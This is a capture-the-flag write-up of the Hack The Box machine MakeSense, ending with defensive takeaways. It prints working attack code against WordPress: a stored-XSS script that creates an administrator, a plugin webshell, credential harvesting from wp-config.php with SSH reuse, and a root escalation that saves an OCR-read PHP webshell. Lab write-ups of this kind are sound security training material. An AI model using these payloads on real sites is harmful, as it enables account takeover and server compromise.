Hackthebox: MakeSense

Foued SAIDI Lv5

Overview

MakeSense is a medium-difficulty machine from Hack The Box that is all about reading the application instead of fighting it. We start with a WordPress agency site running a custom webagency theme whose home-grown contact form stores our message and renders it back to an administrator unsanitised, giving us a stored XSS with an admin reader — which we use to mint ourselves a brand new administrator account. The theme editor is locked down with DISALLOW_FILE_EDIT, but plugin upload is not, so we ship a one-file plugin webshell and land code execution as www-data. From there, wp-config.php hands us the database password, which is reused for SSH as walter and gives us the user flag. Privilege escalation is the genuinely fun part: an internal OCR web app listening on 127.0.0.1:8001 runs as root and lets us save whatever text Tesseract reads out of an image to any filename we want. We render a PHP webshell as a PNG, let the OCR engine read it back, save the recognized text as shell.php, and the root-owned PHP server executes our own handwriting.

MakeSense-info-card
MakeSense-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ nmap -sV -p22,443 --script=+ssl-cert 10.129.46.133

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
443/tcp open ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
| ssl-cert: Subject: commonName=makesense.htb
|_Not valid before: 2026-05-29T16:37:29

The usual SSH on 22, plus an Apache-backed HTTPS site on 443. The TLS certificate leaks the vhost makesense.htb, so into /etc/hosts it goes:

1
echo "10.129.46.133 makesense.htb" | sudo tee -a /etc/hosts

Web Application - https://makesense.htb/

Fingerprinting the site, we find a WordPress install — and more interestingly, the active theme is not something off the shelf:

1
2
3
4
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ curl -sk https://makesense.htb/ | grep -oiE "wp-content/themes/[a-z0-9_-]+|wp-includes" | sort -u
wp-content/themes/webagency
wp-includes

A custom webagency theme is exactly where we want to look, since custom theme code is where the non-standard bugs live. The homepage is a typical agency landing page with a contact form (name / email / phone / message) and a “Call” feature, and the theme ships two JavaScript files:

1
2
3
4
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ curl -sk https://makesense.htb/ | grep -oiE "wp-content/themes/webagency/[a-z0-9/_.-]+\.js" | sort -u
wp-content/themes/webagency/assets/js/main.js
wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js

A whisper wrapper on an agency site is the “unusual feature” of the box — there’s a whole voice-to-text pipeline for phone calls in there, including an encrypted save_voice_results flow. We’ll come back to the fancy stuff only if the boring path fails. First, the contact form.

Reading main.js

Looking at main.js, the contact form submits over the WordPress AJAX API:

1
2
3
4
5
6
7
8
9
$('#contactForm').on('submit', function (e) {
...
const formData = {
action: 'submit_contact_form',
nonce: webagency_ajax.nonce,
name: name, email: email, phone: phone, message: message
};
$.ajax({ url: webagency_ajax.ajax_url, type: 'POST', data: formData, ... });
});

And the endpoint plus the nonce are localised straight into the page source, so no authentication is needed to submit:

1
2
3
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ curl -sk https://makesense.htb/ | grep -oiE "webagency_ajax\s*=\s*\{[^}]*\}"
webagency_ajax = {"ajax_url":"https://makesense.htb/wp-admin/admin-ajax.php","nonce":"50fbeb8031", ...}

So a submission is just an unauthenticated POST to admin-ajax.php with action=submit_contact_form.

Foothold — Stored XSS in the Contact Form

The question we always ask about a contact form is: does an admin read these messages in wp-admin, and is the message rendered raw? On this box, it is. The message field is stored and shown back to the administrator verbatim, which makes this a stored XSS with an admin viewer — meaning we can run JavaScript as the administrator.

The highest-value thing to do with that primitive is to mint ourselves a new administrator account. Our payload fetches /wp-admin/user-new.php (same origin, so the admin’s cookies ride along), scrapes the _wpnonce_create-user token out of the HTML, and POSTs a new user with the administrator role:

1
2
3
4
5
6
7
8
9
10
11
12
<script>
fetch("/wp-admin/user-new.php").then(r=>r.text()).then(h=>{
let m=h.match(/name="_wpnonce_create-user" value="([a-f0-9]+)"/);
if(m){
let b=new URLSearchParams({action:"createuser","_wpnonce_create-user":m[1],
user_login:"pwn",email:"[email protected]",pass1:"Pwn123456!",pass2:"Pwn123456!",
role:"administrator",createuser:"Add New User"});
fetch("/wp-admin/user-new.php",{method:"POST",
headers:{"Content-Type":"application/x-www-form-urlencoded"},body:b});
}
});
</script>

We drop that into the message field and fire it straight at the AJAX endpoint:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ curl -sk https://makesense.htb/wp-admin/admin-ajax.php \
--data-urlencode "action=submit_contact_form" \
--data-urlencode "nonce=50fbeb8031" \
--data-urlencode "name=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=+15551234567" \
--data-urlencode "message=<script>...payload above...</script>"

{"success":true,"data":{"message":"Thank you for contacting us! We will get back to you soon.","post_id":69}}

Now we just wait for the admin bot to open the submission. Rather than guessing, we poll the login endpoint until our new account actually works:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ until curl -sk -c wpjar.txt -b wpjar.txt "https://makesense.htb/wp-login.php" \
--data-urlencode "log=pwn" --data-urlencode "pwd=Pwn123456!" \
--data "wp-submit=Log+In&redirect_to=https://makesense.htb/wp-admin/" \
-o /dev/null -D - 2>/dev/null | grep -qi "wordpress_logged_in"; do sleep 5; done

┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ curl -sk -b wpjar.txt "https://makesense.htb/wp-admin/" | grep -oiE "<title>[^<]*</title>"
<title>Dashboard &lsaquo; Agency LLC &#8212; WordPress</title>

The admin viewed our message, our script ran with their session, and pwn is now a full administrator. We’re in wp-admin.

RCE as www-data — Plugin Upload

The obvious next move as a WordPress admin is the Theme File Editor, but this install has it locked down:

1
2
3
4
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ curl -sk -b wpjar.txt "https://makesense.htb/wp-admin/theme-editor.php?theme=webagency&file=404.php" \
| grep -oiE "<title>[^<]*</title>"
<title>WordPress &rsaquo; Error</title>

That’s DISALLOW_FILE_EDIT doing its job. Fine — administrators can still upload plugins, which is just as good for our purposes. We grab the upload nonce first:

1
2
3
4
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ curl -sk -b wpjar.txt "https://makesense.htb/wp-admin/plugin-install.php?tab=upload" \
| grep -oiE 'name="_wpnonce" value="[a-f0-9]+"'
name="_wpnonce" value="1b0ccc8dbd"

Then we build a one-file plugin that is nothing but a webshell, zip it up, and push it through the uploader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ mkdir pwnplugin && cat > pwnplugin/pwn.php <<'PHP'
<?php
/* Plugin Name: pwn */
if (isset($_GET['c'])) { system($_GET['c']); }
PHP

┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ python3 -c "import zipfile; z=zipfile.ZipFile('pwn.zip','w'); z.write('pwnplugin/pwn.php','pwn/pwn.php'); z.close()"

┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ curl -sk -b wpjar.txt -F "_wpnonce=1b0ccc8dbd" \
-F "_wp_http_referer=/wp-admin/plugin-install.php?tab=upload" \
-F "[email protected];type=application/zip" -F "install-plugin-submit=Install Now" \
"https://makesense.htb/wp-admin/update.php?action=upload-plugin" | grep -oiE "successfully"
successfully

The plugin unpacks to wp-content/plugins/pwn/pwn.php, and we don’t even need to activate it — the file is directly reachable. We ring it:

1
2
3
4
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ curl -sk "https://makesense.htb/wp-content/plugins/pwn/pwn.php?c=id;hostname"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
makesense.htb

Code execution as www-data.

User Flag — walter

WordPress keeps its database credentials in plaintext in wp-config.php, and this box doesn’t make us work for a password reuse:

1
2
3
4
5
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ curl -sk "https://makesense.htb/wp-content/plugins/pwn/pwn.php" \
--data-urlencode "c=grep -E 'DB_USER|DB_PASSWORD' /var/www/html/wp-config.php" -G
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );

Checking /etc/passwd shows local walter and admin accounts with /bin/bash, and the DB password is reused for walter‘s SSH:

1
2
3
4
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ sshpass -p 'JbhHDAEgXvri3!' ssh [email protected] 'id; cat /home/walter/user.txt'
uid=1000(walter) gid=1000(walter) groups=1000(walter)
de849926adfdca9624dd0fb860e5845b

And that’s the user flag.

Privilege Escalation — The OCR App That Types Out Our Shell

Looking at what’s listening locally as walter, something is bound to loopback only:

1
2
walter@makesense:~$ ss -tlnp | grep 8001
LISTEN 0 4096 127.0.0.1:8001 0.0.0.0:*

That’s the “MakeSense” recognizer — a canvas web app where you sketch some text, it OCRs it with Tesseract, and then lets you save the recognized text to a filename of your choice. It sits behind HTTP Basic auth, and walter‘s password works there too. Critically, it runs as root:

1
2
3
walter@makesense:~$ curl -s -u 'walter:JbhHDAEgXvri3!' \
'http://localhost:8001/saved/shell.php?c=ps -o user,cmd -C php --no-headers'
root php -S 127.0.0.1:8001 -t /root/ocr4/

So it’s PHP’s built-in development server, rooted at /root/ocr4/, running as root — and the “save” feature writes into /root/ocr4/saved/. There is no extension check and no content filter on the filename we supply. If we save the recognized text as shell.php, the root-owned PHP server will happily execute it the next time we request it. The recognizer is our arbitrary file-write primitive; all we have to do is feed it the right text.

Rendering a Webshell Tesseract Can Read

The catch is that the input is an image, so Tesseract has to read our PHP back exactly — one mangled quote or bracket and the saved file is broken PHP. The target has no PIL, but it does ship the DejaVu mono font, so we pull that font over and render the payload on our own box with an identical glyphset:

1
2
3
4
5
6
7
8
# mkshell.py
from PIL import Image, ImageDraw, ImageFont
PAYLOAD = '<?php system($_GET["c"]); ?>'
font = ImageFont.truetype('DejaVuSansMono.ttf', 32)
bb = ImageDraw.Draw(Image.new('RGB',(10,10))).textbbox((0,0), PAYLOAD, font=font)
img = Image.new('RGB', (bb[2]-bb[0]+40, bb[3]-bb[1]+40), 'white')
ImageDraw.Draw(img).text((20-bb[0], 20-bb[1]), PAYLOAD, fill='black', font=font)
img.save('shell.png')

Before trusting the target’s OCR with it, we sanity-check the render locally against the same engine:

1
2
3
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ python3 mkshell.py && tesseract shell.png stdout
<?php system($_GET["c"]); ?>

Character for character. Now we ship it over and drive the app entirely across the loopback interface. One detail worth calling out: the ocr_id returned after recognition is bound to the session cookie, so the recognize call and the save call must share a cookie jar — otherwise the save silently fails to find your OCR result.

1
2
┌──(kali㉿kali)-[~/Hackthebox/MakeSense]
└─$ scp shell.png [email protected]:/home/walter/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
walter@makesense:~$ AUTH="walter:JbhHDAEgXvri3!"; J=/tmp/j
walter@makesense:~$ B64=$(base64 -w0 ~/shell.png)

walter@makesense:~$ # 1. recognize — returns an ocr_id bound to the session
walter@makesense:~$ OCR_ID=$(curl -s -c $J -b $J -u "$AUTH" -X POST http://localhost:8001/ \
--data-urlencode "canvas_image=data:image/png;base64,$B64" \
| grep -oP 'ocr_id" value="\K[^"]+')
walter@makesense:~$ echo "ocr_id=$OCR_ID"
ocr_id=ocr_6a524820cc44a9.79740910

walter@makesense:~$ # 2. save the recognized text as shell.php
walter@makesense:~$ curl -s -c $J -b $J -u "$AUTH" -X POST http://localhost:8001/ \
--data "ocr_id=$OCR_ID" --data-urlencode "filename=shell.php" --data "save_output=1" \
| grep -oiE "Saved as: saved/[a-z.]+"
Saved as: saved/shell.php

The root-owned server just wrote our handwriting to /root/ocr4/saved/shell.php.

Root Flag

All that’s left is to request the file we just drew, and watch PHP run it as root:

1
2
3
4
5
walter@makesense:~$ curl -s -u "$AUTH" "http://localhost:8001/saved/shell.php?c=id"
uid=0(root) gid=0(root) groups=0(root)

walter@makesense:~$ curl -s -u "$AUTH" "http://localhost:8001/saved/shell.php?c=cat%20/root/root.txt"
e298fdda0e5198354c4adfd9dcf8a362

And that’s root. If you’d rather drive the whole thing from your own box instead of from the shell, just forward the port first — ssh -L 8001:127.0.0.1:8001 [email protected] — and run the exact same curls against localhost:8001.

Kill Chain

1
2
3
4
5
6
7
8
Recon → WordPress + custom 'webagency' theme (contact form, whisper voice feature)
└─ Contact form stores message and shows it to an admin unsanitised → stored XSS
└─ payload runs as admin → creates a new administrator (pwn)
└─ Theme editor disabled (DISALLOW_FILE_EDIT) → upload plugin webshell → www-data RCE
└─ wp-config.php DB_PASSWORD reused → ssh walter → user.txt
└─ internal OCR app @127.0.0.1:8001 runs as root (php -S -t /root/ocr4)
└─ draw PHP webshell → OCR reads it → save recognized text as shell.php
└─ GET /saved/shell.php runs as root → root.txt

Takeaways

  • A contact form is an injection sink with an admin reader. Storing user input and rendering it into the wp-admin panel raw turns “leave us a message” into “run code in an administrator’s browser.” Escape on output, always.
  • DISALLOW_FILE_EDIT is only half a control. It stopped the theme editor but not plugin upload — and a WordPress administrator is effectively RCE unless you also lock down plugin and theme installation with DISALLOW_FILE_MODS.
  • DB password = SSH password. wp-config.php is the first thing worth reading the moment you’re www-data, and reusing that password for a shell account is the entire user step on this box.
  • The OCR app is the textbook “trusted output written to an executable location” bug. It runs as root, applies no extension or content check on the save filename, and serves its own docroot with php -S — so an attacker-controlled image becomes an attacker-controlled root-executed file. The exploit isn’t in Tesseract at all; it’s in trusting whatever Tesseract reads and letting the caller name the output .php.

That was it for MakeSense, hope you learned something new!

-0xkujen

  • Title: Hackthebox: MakeSense
  • Author: Foued SAIDI
  • Created at : 2026-11-02 18:42:19
  • Updated at : 2026-11-02 20:54:36
  • Link: https://kujen5.github.io/2026/11/02/Hackthebox-MakeSense/
  • License: This work is licensed under CC BY-NC-SA 4.0.